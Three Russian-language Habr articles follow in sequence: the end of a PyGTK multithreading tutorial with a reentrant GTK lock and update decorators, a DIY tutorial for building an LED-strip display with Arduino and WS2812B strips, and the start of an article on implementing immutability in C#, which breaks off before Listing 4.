vbox = gtk.VBox()
window.add(vbox)
label = gtk.Label("Text label")
vbox.add(label)
window.show_all()
def __main__():
gui.GuiCall( InitApp )
gui.GUI()
if __name__ == '__main__':
__main__()
sys.exit(0)
```
Данное приложение не делает ничего, кроме показа окошка с текстом «Text label». Давайте сделаем по-человечески: вынесем весь код приложения в класс и добавим кнопочку.
```
class CMyApp(object):
def __init__(self):
self.label = None
self.times = 0
def CreateGui(self):
with gui.GtkLocker:
window = gtk.Window(gtk.WINDOW_TOPLEVEL)
window.set_title(u"Вот такое приложение")
window.connect("destroy", gui.GUIstop)
window.realize()
vbox = gtk.VBox()
window.add(vbox)
label = gtk.Label("Welcome to our coool app!")
vbox.pack_start(label)
label = gtk.Label("Here will be counter")
self.label = label
vbox.pack_start(label)
button = gtk.Button("Press me!")
button.connect("clicked", self.Click)
vbox.pack_start(button)
window.show_all()
@gui.GtkLocked
def Click(self, widget):
self.times += 1
self.label.set_text("You pressed button %d times" % self.times)
MyApp = CMyApp()
def InitApp():
""" Создаём и показываем все необходимые контролы """
MyApp.CreateGui()
```
Итак, что мы сделали? Создали объект, `__init__` метод которого просто подготовил будущие поля метода, а всё фактическое создание выполняется в функции `CreateGui`, которая будет вызвана уже из общего цикла обработки гуи событий.
Теперь о магии, которой подвержен метод `Click`: обратите внимания, он помечен оберткой `gui.GtkLocked`. Это означает, что данный метод является методом обработки событий GUI, и вызывается строго через connect, это означает, что в момент вызова метода он уже имеет блокировку GTK. Данная обертка реализует состояние GUI блокиратора «Уже заблокировано», таким образом, использование блокировки внутри функции не вызовет никаких проблем.
Добавим вторую кнопку, которая так же делает море полезного:
```
class CMyApp(object):
def CreateGui(self):
with gui.GtkLocker:
....
button = gtk.Button("Or me!")
button.connect("clicked", gui.GtkLocked(self.Count))
vbox.pack_start(button)
....
@gui.GtkLocked
def Click(self, widget):
self.Count()
gui.GuiSecondCall( self.Count )
def Count(self, *args, **kwargs):
with gui.GtkLocker:
self.times += 1
self.label.set_text("You pressed button %d times" % self.times)
```
Итак, мы поменяли метод `Click` предыдущей кнопки на вызов общего метода `Count`, и на отложенный вызов его же с задержкой до секунды, который считает и обновляет код вне зависимости от погоды на марсе, а на вторую кнопку повесили напрямик `Count`.
Так как метод `Count` предполагает вызов его не только через `connect`, мы не можем повесить на него `@gui.GtkLocked` — метод может быть вызыван из еще не блокированного контекста (например, просто вызван в idle событии), поэтому `gui.GtkLocked` мы помечаем прямо в момент `connect`'а. В результате, метод `Count` можно вызывать из неблокированного контекста и он захватит блокировку сам, но при этом он же привязан на событие и его же вызывает другой обработчик событий. За счет магии с `GtkLocker` и `GtkLocked` никакого дедлока не происходит, всё работает.
Теперь давайте добавим Его Высочество Прогресс Бар, и сложный фоновый процесс, который в процессе производит обновление его содержимого:
```
class CMyApp(object):
def CreateGui(self):
with gui.GtkLocker:
....
progress = gtk.ProgressBar()
self.progress = progress
vbox.pack_start(progress)
T = threading.Thread(name="Background work", target=self.Generate)
T.setDaemon(1)
T.start()
@gui.GtkLocked
def UpdateProgress(self):
self.progress.pulse()
def Generate(self):
while(True):
time.sleep(0.3)
gui.GuiIdleCall( self.UpdateProgress )
```
Итак, у нас метод `Generate` работает на фоне, и каждые 0.3 секунды желает обновить прогресс, для чего складывает в очередь исполнения `UpdateProgress`. Так как `UpdateProgress` запускается в контексте GUI потока, всё работает. Вот только что будет, если мы не знаем время, необходимое для выполнения? Обновлять накаждый чих? Замените 0.3 на 0.001 — и полюбуйтесь на результат. Нет, это не выход. Добавлять замеры времени и искуственно замедлять обновление? Вообще не вариант. Может, вместо `GuiIdleCall` сделать `GuiSecondCall`? Попробуем… М-да. Каждую секунду происходит резкое обновление всех, выполненных за эту секунду событий. Ужас.
Давайте, добавим еще один фоновый процесс, и к нему «умный» метод обновления:
```
class CMyApp(object):
def CreateGui(self):
with gui.GtkLocker:
....
fastprogress = gtk.ProgressBar()
self.fastprogress = fastprogress
vbox.pack_start(fastprogress)
T = threading.Thread(name="Heavy background work", target=self.GenerateFast)
T.setDaemon(1)
T.start()
@gui.SecondUpdater
def SingleUpdateProgress(self):
self.fastprogress.pulse()
def GenerateFast(self):
while(True):
time.sleep(0.001)
self.SingleUpdateProgress()
```
Магия, восторг! Мы просто объявляем функцию обновления состояния и вешаем на неё нужную обертку: `@gui.SecondUpdater` или `@gui.IdleUpdater`, и метод будет автоматически вызван в контексте GUI потока не чаще раза в секунду или в свободное время. За счет оберток, двойной запуск метода подряд исключен, не требуется лишнего кода по учету был ли он вызван, и не нужно задумываться над складыванием в очередь исполнения.
### Под капотом
Итак, давайте рассмотрим вблизи что же наворочено внутри gui.py.
Общий код не представляет ничего сложного, просто инициализация:
```
from __future__ import with_statement
import logging, traceback
logging.basicConfig(level=logging.DEBUG, filename='debug.log', filemode='a',
format='%(asctime)s %(levelname)-8s %(module)s %(funcName)s %(lineno)d %(threadName)s %(message)s')
import pygtk
pygtk.require('2.0')
import gtk
gtk.gdk.threads_init()
import gobject, gtk.glade, Queue, sys, configobj, threading, thread
from functools import wraps
import time, os.path
gtk.gdk.threads_enter()
IGuiCaller = Queue.Queue()
IGuiIdleCaller = Queue.Queue()
IGuiSecondsCaller = Queue.Queue()
IdleCaller = [ None ]
IdleCallerLock = threading.Lock()
gtk.gdk.threads_leave()
class CGtkLocker:
.... # будет расписан отдельно
GtkLocker = CGtkLocker()
# Терминатор исполнения GUI потока -- это просто main_quit, вызываемый в GUI потоке
@IdleUpdater
def GUIstop(*args, **kwargs):
gtk.main_quit()
# Функции, организующие постановку в очередь выполнения.
# Вместо использования системной (gobject) очереди выполнения,
# используется threading.Queue, что гарантирует работу в потоках.
def GuiCall(Func):
IGuiCaller.put(Func)
with IdleCallerLock:
if IdleCaller[0] == False:
gobject.idle_add(GUIrun)
IdleCaller[0] = True
def GuiIdleCall(Func):
IGuiIdleCaller.put(Func)
with IdleCallerLock:
if IdleCaller[0] == False:
gobject.idle_add(GUIrun)
IdleCaller[0] = True
def GuiSecondCall(Func):
IGuiSecondsCaller.put(Func)
# Брокер вызова из GUI очередей
def GUIrun():
# Сперва пытаемся обработать очередь GuiCaller
try:
Run = IGuiCaller.get(0)
# При выполнении idle вызовов, блокировка GTK не получена
# поэтому, для минимизации ошибок, организуем блокировку сами
# в итоге будет работать и "with GtkLocker:" методы, и @GtkLocked
with GtkLocker: Run()
except Queue.Empty:
# Если очередь пуста -- обрабатываем GuiIdleCaller
try:
Run = IGuiIdleCaller.get(0)
with GtkLocker: Run()
except Queue.Empty:
# Если в очередях пусто -- стоп, удаляем обработчик
with GtkLocker:
IdleCaller[0] = False
return False
return True
# Брокер ежесекундного выполнения: запускаем всё из очереди
# и ждём следующего цикла
def GUIrunSeconds():
try:
with GtkLocker:
while (True):
Run = IGuiSecondsCaller.get(0)
Run()
except Queue.Empty:
pass
return True
# Основной цикл работы
def GUI():
# Инициализируем брокеров
gobject.idle_add(GUIrun)
IdleCaller[0] = True
gobject.timeout_add(1000, GUIrunSeconds)
# Входим в блокировку для gtk.main
gtk.gdk.threads_enter()
# Сбрасываем начальную блокировку GtkLocker,
# так как gtk.main внутренне разблокирует очереди
GtkLocker.FREE()
# Уходим в цикл обработки GUI событий
gtk.main()
# После вызова main_quit, выходя из main блокировка снова стоит
gtk.gdk.threads_leave()
```
Теперь же посмотрим на самое интересное: обёртки. Итак, самая важная из них — это реализация реентерабельной блокировки:
```
class CGtkLocker:
def __init__(self):
# Блокировка доступа до полей самого блокиратора
self.lock = threading.Lock()
self.locked = 1
# Изначально, основной поток уже имеет блокировку
self.thread = thread.get_ident()
# Запоминаем начальный поток, для сообщения о использовании GUI из левых потоков
self.mainthread = self.thread
self.warn = True # Можно выключить ругань, например после N ошибок
# Функция, вызывающаяся при входе в with блок
def __enter__(self):
# Блокированно проверяем равенство текущего потока активному
with self.lock: DoLock = (thread.get_ident()!=self.thread)
# Ругнёмся в лог, если по какой-либо причине вызваны не из основного потока
if self.warn and self.mainthread != thread.get_ident():
logging.error("GUI accessed from wrong thread! Traceback: "+"".join(traceback.format_stack()))
# Если блокировку держит на момент входа в with другой поток, то нам нужно произвести захват
if DoLock:
# этот вызов блокирует нас до момента освобождения
gtk.gdk.threads_enter()
# А после освобождения мы спокойно помечаем что блокировка теперь в нашем потоке
with self.lock: self.thread = thread.get_ident()
# Каждый __enter__ увеличивает число блокировок
self.locked += 1
return None
# В момент конца исполнения with блока (неважно как -- конец, исключение и т.д.)
def __exit__(self, exc_type, exc_value, traceback):
# с внутренним локом производим декремент блокировок, и освобождение если дошли до нуля
with self.lock:
self.locked -= 1
if self.thread!=thread.get_ident():
print "!ERROR! Thread free not locked lock!"
logging.error("Thread free not locked lock!")
sys.exit(0)
else:
if self.locked == 0:
self.thread = None
gtk.gdk.threads_leave()
return None
# Метод для одноразовой работы: выхода из начальной блокировки стартового потока.
def FREE(self):
self.locked -= 1
self.thread = None
if self.locked != 0:
print "!ERROR! Main free not before MAIN!"
logging.error("Main free not before MAIN!")
sys.exit(0)
GtkLocker = CGtkLocker()
```
Следует понимать, что в "`with GtkLocker`" должен быть обернут любой кусок, работающий с GUI.
Причем в большинстве случаев, это будет работать, даже если все вызовы пойдут из разных потоков, для того `threads_enter` / `threads_leave` и созданы. Вот только иногда всё работает до поры до времени, и внезапно падает в корку где-нибудь в глубинах GTK.
Парная к `GtkLocker` обертка, позволяющая помечать методы событий, которые вызываются ядром GTK уже внутри блокировки. Будучи вызванной на нулевом уровне, увеличивает уровень блокировочного уровня, тем самым гарантируя что мы сами не вызовем `threads_enter` / `threads_leave`.
```
def GtkLocked(f):
@wraps(f)
def wrapper(*args, **kwds):
with GtkLocker.lock:
if GtkLocker.thread == None or GtkLocker.thread==thread.get_ident():
GtkLocker.thread = thread.get_ident()
GtkLocker.locked += 1
WeHold = True
else:
print "!ERROR! GtkLocked for non-owned thread!"
logging.error("GtkLocked for non-owned thread!")
WeHold = False
ret = None
try:
return f(*args, **kwds)
finally:
if WeHold:
with GtkLocker.lock:
GtkLocker.locked -= 1
if GtkLocker.locked == 0:
GtkLocker.thread = None
return wrapper
```
Ну и последний магический пасс: обертки `IdleUpdater` / `SecondUpdater`:
```
def IdleUpdater(f):
@wraps(f)
def wrapper(*args, **kwds):
self = len(args)>0 and isinstance(args[0], object) and args[0] or f
if '_idle_wrapper' not in self.__dict__: self._idle_wrapper = {}
def runner():
if self._idle_wrapper[f]:
try: return f(*args, **kwds)
finally: self._idle_wrapper[f] = False
return None
if f not in self._idle_wrapper or not self._idle_wrapper[f]:
self._idle_wrapper[f] = True
# Для SecondUpdater тут будет GuiSecondCall
GuiIdleCall( runner )
return wrapper
```
В объекте, метод которого вызываем, создаётся словарь `_idle_wrapper`, в котором идёт отслеживание был ли данный метод уже поставлен в очередь на исполнение или нет, и если нет — запоминаем что выставили и добавляем обертку-запускалку, которая выполнит данный метод и сбросит флаг запомненного исполнения. В результате, первый вызов метода добавит запуск его в `GuiIdleCall` (или `*Seconds*`) очередь, а повторные вызовы до момента его исполнения будут просто проигнорированы.
### Коды на скачивание и полезная информация
Все исходники приведенного примера доступны: [pygtk-demo.tar.bz2](http://blog.datacompboy.ru/u/pygtk-demo.tar.bz2).
За полезной информацией по известным проблемам PyGTK в его официальном [FAQ](http://faq.pygtk.org/).
По вопросам написания под PyGTK я чаще всего обращаюсь к [туториалу](http://www.pygtk.org/tutorial.html) и [мануалу](http://www.pygtk.org/docs/pygtk/index.html). | https://habr.com/ru/post/120668/ | null | ru | null |
# Проект за пару дней: большой дисплей из светодиодных лент
Полгода назад мы дополнили наш почти традиционный офисный каток 7,6 тыс. светодиодами, чтобы транслировать изображения и видео прямо на поверхность льда. На гиктаймсе был опубликован [пост](https://geektimes.ru/company/mailru/blog/268190/), в котором рассказывалось о том, что подо льдом скрывается самый настоящий гигантский дисплей разрешением 120х63 «пикселей», на который можно выводить достаточно сложные и яркие изображения.
Часто нам задавали вопрос: можно ли своими руками сделать нечто подобное дома? Можно, почему нет? Про лед был подробный рассказ (вот история о [первом катке](https://geektimes.ru/company/mailru/blog/244544/) — захватывающее чтиво в июльскую жару), а вот о способах превращения светодиодов в большой дисплей практически не упоминали. Так как наши мейкеры люди занятые и предпочитают говорить о чем-то новом, а не пережевывать прошлое, публикация этой статьи откладывалась снова и снова. В конечном счете мы решили перевести для вас понятный и наглядный туториал, после которого можно будет взять и повесить дисплей себе на стену.
Итак, выдохните, все будет просто. Бóльшая часть времени уйдет на сборку — придется немного покорпеть над соединением лент друг с другом. Они должны быть спаяны в последовательную цепь на задней стороне панели. Для рассеивания света защитное стекло будет матированным.
Главный вопрос проекта — какое ПО использовать? Здесь все зависит от ваших потребностей: мы начнем с демокода и указателей, а в одной из следующих статей рассмотрим, как выводить на дисплей уведомления и котировки акций.
Что нам понадобится
===================
* 10 м [светодиодной ленты](http://www.aliexpress.com/store/group/WS2812B-pixels-DMX-pixel-IC-and-controllers/701799_251310291.html) (продается в катушках по 5 м). Я использовал дешевый вариант — WS2812B. Если же вам хочется получить более высокое разрешение дисплея, можете приобрести ленту с плотностью 60 светодиодов/метр;
* блок питания на 5 В и 10 А. Я использовал модель, у которой входное питание до 240 В подается на винтовые зажимы. Если вам нужно сделать дисплей более безопасным, выберите полностью закрытый блок питания;
* [Arduino UNO](http://target.georiot.com/Proxy.ashx?TSID=15883&GR_URL=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fproduct%2FB006H06TVG%2Fref%3Das_at%3Ftag%3Dmak041-20%26linkCode%3Das2%26&dtb=1);
* большое количество отрезков толстого провода. Я отрезал пучок от старого компьютерного блока питания;
* фоторамка 50х50 см;
* матирующий спрей и белая краска.
Общие затраты у меня получились меньше $100.
Также вам понадобятся инструменты:
* паяльник с припоем;
* клеевой пистолет;
* нож или ножницы;
* инструмент для снятия изоляции.
Сначала прочитайте [пособие по работе с электроникой для начинающих](http://www.makeuseof.com/tag/beginners-electronics-10-skills-you-need-to-know/)!
Расчеты
=======
Если вы приобрели рамку 50х50 см и такие же светодиодные ленты, как у меня, то сможете уместить в дисплей 15 отрезков по 15 светодиодов. Но ничто не мешает использовать рамку другого размера. Расстояние между светодиодами — около 30 мм, таким образом на один пиксель приходится примерно 30 мм2. Это наш **1DPI**. Ну да, разрешение не как у Retina.
Рассчитайте, сколько отрезков ленты вам понадобится, и расчертите направляющие с обратной стороны панели. Семь раз проверьте, один раз отрежьте: у меня ленты немного различаются, потому что когда я начал их приклеивать, то обнаружил, что могу вместить только 14 отрезков по 15 светодиодов. Но это не страшно — в приложении можно легко настроить разное количество рядов пикселей и их длину. Отрежьте куски, подходящие для вашей рамки. К сожалению, я обнаружил, что у меня 15-е светодиоды в отрезках приходятся как раз на то место, где нужно припаивать соединительные провода. Поэтому пришлось их выпаивать.
Матирование стекла
==================
Для лучшего рассеивания света я решил нанести на обе стороны стекла матирующий спрей. Делать это лучше на улице или на балконе, так как спрей вреден для здоровья. Наносить его необходимо как можно более равномерно. После высыхания матирование получается очень устойчивым, но изначально необходимо добиться равномерного покрытия без каких-либо царапин.
Также задуйте белой краской панель, которая будет видна сквозь стекло. Отрежьте один из углов — здесь пройдут провода.
Крепление светодиодных лент
===========================
Для приклеивания лент к панели используйте суперклей. Я пробовал двусторонний скотч, но через несколько недель он отвалился. Клеевой пистолет еще хуже, ведь обе поверхности — панель и обратная сторона ленты — гладкие и не имеют пор. Если вы приобрели светодиодные ленты в резиновом корпусе, то не сильно переживайте относительно точности размещения — их можно свободно двигать.
Помните, что сигнал будет проходить через всю цепь, и у каждой ленты есть направление передачи сигнала. Ленты нужно размещать так: у одной стрелка (направление сигнала) указывает направо, у следующей — налево, потом опять направо и т.д. То есть сигнал по дисплею будет идти «змейкой». Проверьте еще раз правильность размещения лент, прежде чем клеить их!
Пайка
=====
Для соединения лент требуется по три провода разной длины. Внутреннюю пару контактов соединяем самым коротким проводом (на фото — красный), для средней пары берем провод подлиннее, а к внешним контактам припаиваем самый длинный. В зависимости от того, какие ленты в данный момент соединяются, внутренние контакты будут либо питанием (+5V), либо заземлением (GND).
Прежде чем припаивать провода, залудите их и сами контакты на лентах. На это уйдет больше всего времени, но это крайне важный момент. Не торопитесь, дважды проверьте правильность соединяемых контактов!
Фиксация лент
=============
После возни с подключением проводов вы можете обнаружить, что первая лента сдвинулась. Эту проблему я решил следующим образом: просверлил два маленьких отверстия и зафиксировал ленту стяжкой. Если у вас не было под рукой достаточно сильного клея, то таким образом можно дополнительно зафиксировать все ленты с обоих концов.
Проверка подключения
====================
Шестой пин Arduino используется для передачи управляющего сигнала; напряжение питания должно подаваться напрямую от блока питания. Подключите заземление между лентами, Arduino и блоком питания. **Не пытайтесь запитать ленты от Arduino, а также не подключайте блок питания к Arduino при подключенном USB (когда будет загружаться код для тестирования).**
Скачайте и добавьте в соответствующую папку библиотеку [AdafruitNeoPixel](https://github.com/adafruit/Adafruit_NeoPixel), затем запустите Arduino. Протестируйте подключение с помощью следующего кода, указав в первом параметре количество светодиодов (в нашем примере — 60):
`Adafruit_NeoPixel strip =Adafruit_NeoPixel(60, PIN, NEO_GRB + NEO_KHZ800);`
Если анимация остановится на каком-то ряду, сразу отключите всю конструкцию и проверьте подключение. Возможные причины сбоя:
* неправильное направление ленты;
* вы спутали контакты при соединении лент;
* вы припаяли +5V к GND.
Помещаем в рамку
================
Поскольку рамка не была рассчитана на такую глубину размещения панели, мне пришлось сначала зафиксировать стекло клеевым пистолетом, а затем по периметру вставить резиновый уплотнитель, работающий буфером между стеклом и панелью со светодиодами. После завершающего тестирования помещаем панель в рамку и фиксируем ее клеевым пистолетом. В углу можно проделать небольшое отверстие для вывода проводов. Все, техническая сторона проекта завершена.
Можете еще подумать над тем, возможно ли спрятать в рамке еще и блок питания с Arduino. А пока переходим к настройке ПО.
Glediator
=========
Программа [Glediator](http://www.solderlab.de/index.php/software/glediator) компании SolderLab.de очень хорошо подходит для анимирования светодиодных матриц на вечеринках или в ночных клубах. Она способна управлять матрицей, состоящей из 512 светодиодов WS2812/NeoPixels, формируя до 24 кадров/сек — этого вполне достаточно для нашего дисплея, можно даже выводить на него простенькие анимационные гифы. Микшер позволит делать плавные переходы между анимациями.
Для работы с Glediator установите на Arduino UNO [прошивку](http://www.solderlab.de/index.php/downloads/file/33-ws2812-glediator-interface-v1), и проверьте, чтобы сигнальный кабель был подключен к пину 6. Не забудьте прописать в переменной количество используемых вами светодиодов.
Запустите Glediator, откройте свойства и измените **размер матрицы и режим вывода**. Настройте **порядок пикселей**, если у вас используется другая схема, но по этому шагу мало документации, поэтому придется действовать методом проб и ошибок. Если изображение на дисплее отличается от задуманного, попробуйте поиграть с настройками. У меня работал порядок пикселей **HS\_BL** — подозреваю, что это означает «**h**orizontal**s**nake, starting**b**ottom**l**eft» (горизонтальная змейка, начало слева внизу).
Glediator — профессиональное приложение, не будем пока изучать его интерфейс и возможности. Загрузите в левое и правое окна разные анимации, затем двигайте микшер между ними. Или используйте готовый плейлист, который показан в видеоролике.
Библиотеки Adafruit NeoMatrix и Adafruit GFX
============================================
Компания Adafruit создала очень полезную библиотеку для работы со светодиодными матрицами. Сначала она называлась [Adafruit GFX](https://learn.adafruit.com/adafruit-gfx-graphics-library/overview), и изначально предназначалась для TFT- и LCD-дисплеев. Затем появилась модификация [NeoMatrix](https://learn.adafruit.com/adafruit-neopixel-uberguide/neomatrix-library), позволяющая полноценно работать с матрицами NeoPixel. Она имеет огромное количество простых в использовании функций по выводу текста или растровой спрайтовой графики.
Если вы в точности повторили мой проект, то можете воспользоваться [этим кодом](https://gist.github.com/jamesabruce/d9856765897b12d6bf38). Самая важная часть:
```
#define XSIZE 15
#define YSIZE 14
#define PIN 6
Adafruit_NeoMatrix matrix =Adafruit_NeoMatrix(XSIZE, YSIZE, PIN,
NEO_MATRIX_BOTTOM + NEO_MATRIX_LEFT +
NEO_MATRIX_ROWS + NEO_MATRIX_ZIGZAG,
NEO_GRB+NEO_KHZ800);
```
С первыми строками все понятно. В последних трех описывается схема матрицы: в данном случае первый пиксель находится слева внизу (bottomleft), пиксели расположены рядами (rows), соединенными зигзагообразно (zigzag). Если вы сделали иначе, то обратитесь к документации библиотеки.
Я задал в коде несколько спрайтов — смайлы. Вы можете создать собственные с помощью Java-приложения **Img2Code**, лежащего в папке библиотеки GFX.
В будущем мы рассмотрим использование библиотеки для вывода полезной информации вроде котировок акций или ленты Twitter, а пока предлагаю вам самостоятельно поиграть с кодом и загрузить собственные изображения.
На этом все. Вы создали большой дисплей из светодиодных лент. Теперь нужно придумать, как его использовать. Из оставшихся светодиодов можете создать [лампу в виде облачка](http://www.makeuseof.com/tag/build-cloud-lamp-sound-reactive-lightning/). | https://habr.com/ru/post/395519/ | null | ru | null |
# Иммутабельность в C#
В разработке программного обеспечения иммутабельным (immutable — неизменяемым) называется объект, который после своего создания не может быть изменен. Зачем вам может понадобиться такой объект? Чтобы ответить на этот вопрос, давайте проведем анализ проблем, которые могут возникнуть в результате мутации (изменения) объектов. Вернемся к основам того, что делает каждое приложение: создает, извлекает, обновляет и удаляет данные (CRUD-операции). Ядро любого приложения манипулирует объектами. Ответ на вопрос о том, работает ли приложение в соответствии со своей спецификацией, в первую очередь определяется правильностью обработки данных. Вам необходимо быть уверенными, что код работает правильно, каждый раз, когда он затрагивает какой-либо объект.
Но что, если бы существовали объекты, которые не могли бы изменяться? Исходя из вышеизложенного, очевидно, что если объект не может измениться, то либо не будет кода, пытающегося изменить его, либо, если такой код все-таки написан, он не будет работать.
Если ваше приложение является многопоточным, иммутабельность должна быть фундаментальной частью вашей архитектуры, поскольку неизменяемые объекты по своей природе являются потокобезопасными и невосприимчивыми к состояниям гонки. Если ваше приложение использует data transport objects (DTO — объекты передачи данных), вам также следует серьезно подойти к иммутабельности ваших объектов. Предметом дискуссий остается лишь то, как наиболее эффективно реализовать и работать с иммутабельными объектами, поскольку C# не предлагает встроенной поддержки таких объектов. Эта статья предлагает ответ на этот вопрос.
Весь код, приведенный в статье, можно найти в это [GitHub-репозитории](https://github.com/johnvpetersen/ImmutableClass).
### Аргументы в пользу иммутабельности
Представьте себе любой произвольный объект. Это может быть пользователь, продукт или что-то совсем другое, что пришло вам в голову. Рассмотрим жизненный цикл этого объекта. Он создается, живет какое-то время и в какой-то момент прекращает свое существование. В основном вас интересует середина этого жизненного цикла, когда он живет в течение какого-то периода времени. Что, если в течении всего своего периода жизни (или даже его части) объект **не должен изменится**? Учитывая, что C# изначально не поддерживает абсолютную иммутабельность, как бы вы реализовали требование, согласно которому однажды созданный объект ***никогда не должен изменяться***?
Если предпринимаются попытки изменения иммутабельного объекта, то возможны два сценария. Первый — компилятор отследит такие попытки, и приложение просто не соберется. Это самый лучший сценарий, потому что он представляет собой самое жесткое препятствие развертыванию такого приложения. Второй — если компилятор не может обнаружить все попытки изменения, то будут генерироваться исключения во время выполнения. Хотя исключения менее эффективны, чем обнаружение доступа на этапе компиляции, они тоже представляют из себя жесткое препятствие, говорящее нам о том, что произошла ошибка.
В современном программном обеспечении слишком часто происходят незаметные сбои. Другими словами, когда выполняется какая-нибудь недопустимая операция, она не обрабатывается в блоке try-catch и не результирует в наглядном исключении, как ей следовало бы. Чтобы работать корректно программное обеспечение должно следовать правилам. В нашем контексте правило заключается в том, что объекты не должны изменяться. Должен быть эффективный способ обеспечить как соблюдение этого правила, так и обратную связь при попытке нарушить это правило. Исключения являются подобным ограничением, которое дает нам такую обратную связь.
Исключения являются ограничением, обеспечивающим обратную связь.
Если объект может изменяться, это открытая проблема, поскольку существует бесконечное количество способов, которыми объект может быть изменен. При работе с объектом, который не должен изменяться, но может, приложение неизбежно становится более сложным, поскольку должны быть встроены меры безопасности, гарантирующие, что этот объект никогда не изменится после своего создания. В C# есть несколько способов достижения иммутабельности, которые имеют свои ограничения.
В этой статье я исследую, что мы можем получить от C# без дополнительных усилий, ограничения с этим связанные, и подход, который обеспечивает баланс между полезностью иммутабельности и пользовательским кодом, необходимым для устранения ограничений того, что C# предоставляет из коробки.
### Пример использования иммутабельности: DTO
DTO (Data Transport Object) — это классический пример, где мы хотели бы видеть иммутабельность. У DTO всего одно предназначение. Это предназначение, как следует из названия, заключается в передаче данных. Представьте, что вам приходится иметь дело с различными границами приложения (application boundaries), которые нужно пересекать вашим данным. Зачастую данные необходимо сериализовать, отправить в сервис на принимающей границе, а затем десериализовать, где затем происходит их гидратация в какой-нибудь объект (предположительно, этот объект также будет иммутабельным). В этом случае вы хотите гарантировать, что после создания объекта в течении всего его жизненного цикла ни при каких обстоятельствах никакие из его характеристик не будут изменены. По крайней мере, вы хотите быть уверены, что после установки свойств и блокировки объекта дальнейшие изменения будут невозможны.
### Сложности c реализацией иммутабельности в C#
С реализацией иммутабельности в C# есть несколько сложностей. Чтобы проиллюстрировать их, в **листинге 1** продемонстрирован самый прямой и простой способ добиться иммутабельности. Код работает, но есть две ощутимые проблемы. Во-первых, вы должны инициализировать значения свойств в конструкторе. Во-вторых, поскольку в деле замешаны приватные сеттеры, вы не можете использовать инициализатор свойств, который позволяет игнорировать свойства, которые вы не хотите устанавливать.
**Листинг 1:** Наименее масштабируемый, но самый простой способ добиться иммутабельности: через аргументы конструктора с неявными приватными сеттерами
```
public class SimpleImmutableClass
{
public SimpleImmutableClass(string firstName, string lastName)
{
FirstName = firstName;
LastName = lastName;
}
//Неявные приватные сеттеры
public string LastName { get; }
public string FirstName { get; }
}
```
Новые сложности возникают с более сложными типами, такими как списки, словари, классы, и с тем, являются ли они частью базового фреймворка или созданы пользователями, т.е. с типами свойств, которые не являются логическими, строковыми, целочисленными и т. д. В **листинге 2** показан простой иммутабельный класс со списком строк в качестве одного из свойств.
**Листинг 2:** Иммутабельность, реализованная с помощью приватных сеттеров распространяется только на само определение свойства, но не на вложенные свойства и методы класса, который это свойство представляет
```
public class SimpleImmutableClass
{
public SimpleImmutableClass(
string firstName, string lastName, List items
)
{
FirstName = firstName;
LastName = lastName;
Items = items;
}
//Неявные приватные сеттеры
public string LastName { get; }
public string FirstName { get; }
public List Items { get; }
}
var sut = new SimpleImmutableClass(
"John",
"Petesen",
new List()
);
sut.Items.Add("BS");
sut.Items.Add("MBA");
sut.Items.Add("JD");
```
Тот факт, что вы можете изменить характеристики свойства, при том, что сеттер является приватным, может стать неожиданностью. Сеттер здесь влияет лишь на само свойство в отношении класса, содержащего его. Но никак не влияет на объект, который это свойство представляет. С примитивными типами (строки, целые числа, числа с плавающей запятой, логические значения и так далее) такой проблемы не возникает. Но только если они не заключены в какую-нибудь коллекцию, массив, словарь и так далее.
#### Как насчет структур — они же ведь иммутабельны, да?
Нет. Это простой ответ на этот вопрос. Это распространенное заблуждение, что структуры в C# по своей природе иммутабельны. Структуры *должны* *быть* иммутабельными. Структуры — отличный выбор, когда у вас есть небольшие объемы связанных данных. Свойства структуры могут быть примитивными или сложными. Вы можете использовать объектный инициализатор как в классах. Структуры более легковесны с точки зрения памяти, чем классы, и это их главное преимущество. Но я должен вам признаться, что не припомню, чтобы когда-либо использовал структуры в приложениях, несмотря на тот факт, что в некоторых случаях структура была бы лучшим техническим выбором. В **листинге 3** показан пример простой изменяемой структуры.
**Листинг 3:** По умолчанию, несмотря на популярное заблуждение, структуры изменяемы, как и классы.
```
public struct Person
{
public string FirstName;
public string LastName;
public List Items;
}
var sut = new Person() {
FirstName = "John",
LastName = "Petersen"
};
sut.Items = new List();
sut.FirstName = "john";
sut.Items.Add("Structs are not immutable!");
```
Разница между обычным и корпоративным программным обеспечением заключается в том, как оно обрабатывает ситуации, когда что-то идет не так, и, в частности, в том, как оно сообщает о таких ситуациях.
### Реализация иммутабельности в C# (почти без боли!)
Наши ожидания: во-первых, давайте согласимся с тем, что не все в C# можно сделать иммутабельным. Во фреймворке тысячи классов. Не все должно быть иммутабельным. Не каждый юзкейс требует иммутабельности. Во-вторых, от нас потребуется некоторое количество пользовательского кода. Полная иммутабельность, увы, не дана нам прямо из коробки. Поэтому нам придется немного пописать код. Хорошей новостью является то, что написать нужно действительно немного! В данном случае мы определим абстрактный класс, на основе которого мы будем создавать наши конкретные (concrete) классы. Эти конкретные классы должны будут следовать всего нескольким правилам.
Исходя из вышеизложенного, нам бы пригодились инициализаторы. Поэтому наши сеттеры должны быть публичными. Это означает, что нам нужно будет использовать какой-то механизм, чтобы сделать свойства с публичными сеттерами иммутабельными. Другими словами, нам нужно будет использовать пользовательский код!
#### Шаг 1: Использование JSON.NET и System.Immutable.Collections
**На рисунке 1** показаны два пакета Nuget, необходимые для этого решения: NewtonSoft.Json (JSON.Net) и System.Immutable.Collections.
Рис. 1. Два пакета Nuget, необходимые для реализации иммутабельности.JSON.NET требуется для упрощения сериализации и десериализации объектов. Несмотря на то, что иммутабельные объекты не изменяются, нам все-таки необходимо внести быстрые изменения в рамках создания нового объекта. JSON.NET — это средство, с помощью которого мы можем быстро создавать и управлять иммутабельными объектами.
System.Collections.Immutable — это пакет Nuget от Microsoft, который содержит иммутабельные версии списков, словарей, массивов, хешей и очередей. Это как раз те виды объектов, которые демонстрируют проблему с приватными сеттерами и свойствами коллекциями и массива. Если вы уже успели забыть, приватный сеттер не запрещает вам добавление или манипуляции с элементами во вложенной коллекции.
Должен быть эффективный способ обеспечить как соблюдение этого правила, так и обратную связь при попытке нарушить это правило.
#### Шаг 2: Создание пользовательских исключений
Самое главное различие между обычным и “корпоративным” программным обеспечением заключается вовсе не в ключевом функционале. Разница заключается в том, как они обрабатывает ситуации, когда что-то идет не так, и, в частности, в том, как они сообщают о таких ситуациях. В нашем случае нам нужно отловить две недопустимые ситуации. Первая - когда делается попытка изменить иммутабельное свойство. Вторая — это попытка добавить к инстансу иммутабельного класса свойство, которое не поддерживает иммутабельность. **В листинге 4** показано исключение `ImmutableObjectEditAttempt`.
